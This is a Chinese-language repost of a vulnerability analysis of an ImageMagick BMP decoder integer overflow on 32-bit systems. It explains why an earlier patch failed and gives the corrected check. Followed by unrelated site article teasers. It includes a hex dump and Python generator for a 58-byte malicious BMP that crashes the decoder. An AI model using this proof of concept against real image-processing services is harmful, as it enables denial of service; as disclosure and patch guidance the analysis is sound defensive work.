ImageMagick BMP解码器整数溢出漏洞深度分析

news/2025/11/29 12:05:24/文章来源:https://www.cnblogs.com/qife122/p/19285905

ImageMagick BMP解码器整数溢出漏洞(CVE-2025-62171)

漏洞详情

包信息

  • NuGet包:Magick.NET-Q16-AnyCPU、Magick.NET-Q16-HDRI-AnyCPU等
  • 受影响版本:< 14.9.0
  • 已修复版本:14.9.0

漏洞描述

CVE-2025-57803声称在ImageMagick 7.1.2-2中已修复,但实际上修复不完整且无效。最新版本7.1.2-5仍然容易受到相同的整数溢出攻击。

补丁添加了BMPOverflowCheck()函数,但将其放置在溢出发生之后,使其变得无用。一个恶意的58字节BMP文件可以触发AddressSanitizer崩溃和拒绝服务。

受影响版本:

  • ImageMagick < 7.1.2-2(最初报告)
  • ImageMagick 7.1.2-2 至 7.1.2-5(不完整补丁)

平台和配置要求:

  • 仅限32位系统(i386、i686、armv7l等)
  • 需要size_t = 4字节(64位系统不易受攻击)
  • 需要修改资源限制:必须手动增加默认的宽度、高度和区域限制

详细分析(根本原因分析)

易受攻击的代码位置
文件:coders/bmp.c
行数:1120-1122(版本7.1.2-5)

不完整的补丁

// 第1120行:整数溢出在此发生
extent = image->columns * bmp_info.bits_per_pixel;  // 溢出!// 第1121行:使用已溢出的值
bytes_per_line = 4*((extent+31)/32);// 第1122行:检查结果,而不是乘法运算
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

补丁失败的原因
攻击向量(32位系统):
输入BMP头:

  • 宽度:536,870,912 (0x20000000)
  • 高度:1
  • 每像素位数:32

32位系统上的计算:

extent = 536,870,912 × 32= 17,179,869,184 (0x400000000)32位截断:
0x400000000 & 0xFFFFFFFF = 0x00000000 ← 溢出为零!bytes_per_line = 4 × ((0 + 31) / 32)= 4 × 0= 0BMPOverflowCheck(0, 1):return (1 != 0) && (0 > 4294967295UL/1)return True && (0 > 4294967295)return True && Falsereturn False ← 未检测到溢出!

概念验证(PoC)

最小58字节BMP文件
十六进制转储:

00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|
00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|
00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00                    |..........|

Python生成器

#!/usr/bin/env python3
import structwidth = 0x20000000   # 536,870,912
height = 1
bpp = 32# BMP文件头(14字节)
file_header = b'BM'
file_header += struct.pack('<I', 58)      # 文件大小
file_header += struct.pack('<HH', 0, 0)   # 保留
file_header += struct.pack('<I', 54)      # 像素偏移# DIB头(40字节)
dib_header = struct.pack('<I', 40)        # 头大小
dib_header += struct.pack('<i', width)    # 宽度
dib_header += struct.pack('<i', height)   # 高度
dib_header += struct.pack('<H', 1)        # 平面
dib_header += struct.pack('<H', bpp)      # BPP
dib_header += struct.pack('<I', 0)        # 压缩
dib_header += struct.pack('<I', 0)        # 图像大小
dib_header += struct.pack('<i', 2835)     # X ppm
dib_header += struct.pack('<i', 2835)     # Y ppm
dib_header += struct.pack('<I', 0)        # 颜色
dib_header += struct.pack('<I', 0)        # 重要颜色pixel_data = b'\x00\x00\x00\x00'with open('overflow.bmp', 'wb') as f:f.write(file_header + dib_header + pixel_data)print(f"Created overflow.bmp (58 bytes)")

影响

攻击场景

  • 攻击者创建58字节的恶意BMP文件
  • 上传到使用ImageMagick的Web服务(在32位系统上)
  • ImageMagick尝试处理图像
  • 整数溢出触发AddressSanitizer崩溃
  • 服务变得不可用(拒绝服务)

实际目标:

  • 具有图像处理功能的Web托管平台
  • 具有缩略图生成功能的CDN服务
  • 传统嵌入式系统
  • 运行32位Linux的IoT设备
  • 使用32位基础镜像的Docker容器

推荐修复

正确的补丁
溢出检查必须在乘法运算之前进行:

// 在计算extent之前添加溢出检查
if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");// 现在安全计算
extent = image->columns * bmp_info.bits_per_pixel;
bytes_per_line = 4*((extent+31)/32);// 额外的安全检查
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

替代方案:使用64位算术

// 强制64位计算
uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;if (extent_64 > UINT32_MAX)ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");extent = (size_t)extent_64;
bytes_per_line = 4*((extent+31)/32);

参考信息

  • GHSA-9pp9-cfwx-54rm
  • https://nvd.nist.gov/vuln/detail/CVE-2025-62171
  • ImageMagick/ImageMagick@cea1693
  • https://github.com/dlemstra/Magick.NET/releases/tag/14.9.0
  • https://lists.debian.org/debian-lts-announce/2025/10/msg00019.html
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/980665.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年立式等动拉力器厂家权威推荐榜单:游泳专业设备/仰泳出发器‌/游泳专业路面模拟器‌源头厂家精选

在体育科学训练日益精进的今天,立式等动拉力器正以精准的阻力控制与全面的肌肉训练效果,成为游泳运动员和健身爱好者提升表现的核心装备。 随着竞技体育和大众健身对科学化、精准化训练需求的不断提升,立式等动拉力…

2025年比较好的员工福利商城/员工福利品质保障

2025年优质员工福利商城推荐与品质保障指南行业背景与市场趋势随着企业对人才吸引与保留的重视程度不断提升,员工福利已成为现代企业人力资源管理战略中不可或缺的一环。2025年,员工福利市场预计将达到万亿规模,数字…

四川成都专业可靠的小程序开发公司-支持先做后付,满意付款

推来客网络是一家值得信赖的成都小程序开发公司。它以优质服务与技术创新的完美结合,为企业提供专业的小程序开发解决方案。如果您正在寻找一家可靠的小程序开发公司,推来客网络将是您的最佳选择。您在选择小程序开发…

2025年上海离婚财产纠纷律师权威推荐榜单:离婚房产/婚姻律师/遗嘱专业律师精选

在婚姻家事法律需求日益复杂的今天,专业离婚财产纠纷律师已成为解决家庭财产争议、保护当事人合法权益的关键角色。 随着社会经济的发展和婚姻观念的变化,上海地区离婚案件中的财产纠纷比例持续攀升。数据显示,2025…

你真的懂 C++ 吗?来看看这 5 个问题吧!

移动语义 问题 以下的代码打印的结果是什么? #include <iostream> #include <utility>struct example {example() = default;~example() = default;example(const example &) = default;example(exam…

国内专业诚信的小程序开发企业推荐

推来客网络是一家值得信赖的成都小程序开发公司,以优质服务与技术创新的完美结合,为企业提供专业的小程序开发解决方案。如果您正在寻找一家可靠的小程序开发公司,推来客网络无疑是您的最佳选择。您在选择小程序开发…

完整教程:十七、STM32的TIM(八)(TIM输入捕获)

完整教程:十七、STM32的TIM(八)(TIM输入捕获)2025-11-29 12:01 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; displ…

2025年比较好的布袋定制厂家推荐及选择建议

2025年比较好的布袋定制厂家推荐及选择建议 开篇:布袋定制行业背景与市场趋势 随着环保意识的增强和限塑政策的推行,布袋作为可重复使用的环保产品,市场需求持续增长。无论是企业品牌宣传、促销活动,还是文创产品…

2025 国内稳压器知名品牌最新排行榜

这份榜单不是流量堆砌的虚名,而是基于《中国电源产业发展白皮书 2025》与 SGS 第三方检测报告的精密校准,像给每个品牌装上了透明的「电力仪表盘」一、问题:当电压波动成为生产的「隐形风暴」 你有没有试过 —— 激…

【ArcMap】合并同一条线的多个部分

这种一般是由于点的连接方式不正确,需要重新打断有问题的点,重新按顺序连接 此时就只有一个部分了:

2025年靠谱的高端生态红茶/安全生态红茶推荐TOP生产厂家

2025年靠谱的高端生态红茶/安全生态红茶推荐TOP生产厂家 行业背景与市场趋势 近年来,随着消费者健康意识的提升,生态茶饮市场迎来爆发式增长。据《2024年中国茶叶消费趋势报告》显示,高端生态红茶年增长率达18%,…

2025年比较好的郑州注册公司客户好评推荐

2025年比较好的郑州注册公司客户好评推荐开篇:郑州注册公司服务行业现状与发展趋势随着郑州国家中心城市建设步伐加快,以及"放管服"改革持续深化,郑州市场主体数量呈现快速增长态势。2024年数据显示,郑州…

2025年线上英语培训机构权威推荐榜单:高性价比英语/成人英语培训/英语口语教育培训平台精选

在全球化进程加速的今天,线上英语培训已成为职业发展与学术提升的重要途径,选择合适的教育平台对学习效果至关重要。 随着在线教育技术的成熟和市场需求的扩大,中国在线英语培训市场呈现出蓬勃发展的态势。2025年在…

2025年整流二极管模块生产商权威推荐榜单:肖特基二极管/快恢复二极管/焊机二极管源头厂家精选

在电力电子技术快速发展的今天,整流二极管模块作为电能转换的核心部件,其性能直接影响着工业控制、新能源发电、电动汽车等领域的设备效率与可靠性。随着全球能源转型趋势加速,整流二极管模块市场规模预计将从2023年…

深入解析:关于 密码喷射

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2025年靠谱的精酿啤酒机/精酿啤酒设备最新TOP排名厂家

2025年靠谱的精酿啤酒机/精酿啤酒设备TOP排名厂家行业背景与市场趋势近年来,随着消费者对啤酒品质和个性化需求的不断提升,精酿啤酒市场呈现出爆发式增长态势。据行业数据显示,2024年中国精酿啤酒市场规模已突破200…

HTML------------------课程表

<!DOCTYPE html> <html><head><meta charset="utf-8"><title>课程表</title></head><body> <table border="1"><tr><th cols…

2025年专业的质量管理体系认证行业企业体系认证推荐榜

2025年专业的质量管理体系认证行业企业体系认证推荐榜行业背景与市场趋势随着全球经济一体化的深入发展和市场竞争的日益激烈,质量管理体系认证已成为企业提升管理水平、增强市场竞争力的重要手段。2025年,质量管理体…

2025年靠谱的树脂瓦厂家推荐及采购指南

2025年靠谱的树脂瓦厂家推荐及采购指南行业背景与市场趋势随着我国建筑行业的持续发展和乡村振兴战略的深入推进,树脂瓦作为一种新型环保建材,近年来市场需求呈现稳定增长态势。树脂瓦以其重量轻、强度高、防水防潮、…

2025年专注离婚财产分割的离婚财产分割律师热门榜单

2025年专注离婚财产分割的离婚财产分割律师热门榜单行业背景与市场趋势随着社会经济的发展和人们婚姻观念的转变,我国离婚率近年来呈现上升趋势。根据民政部数据显示,2024年全国离婚登记数量达到历史新高,其中涉及财…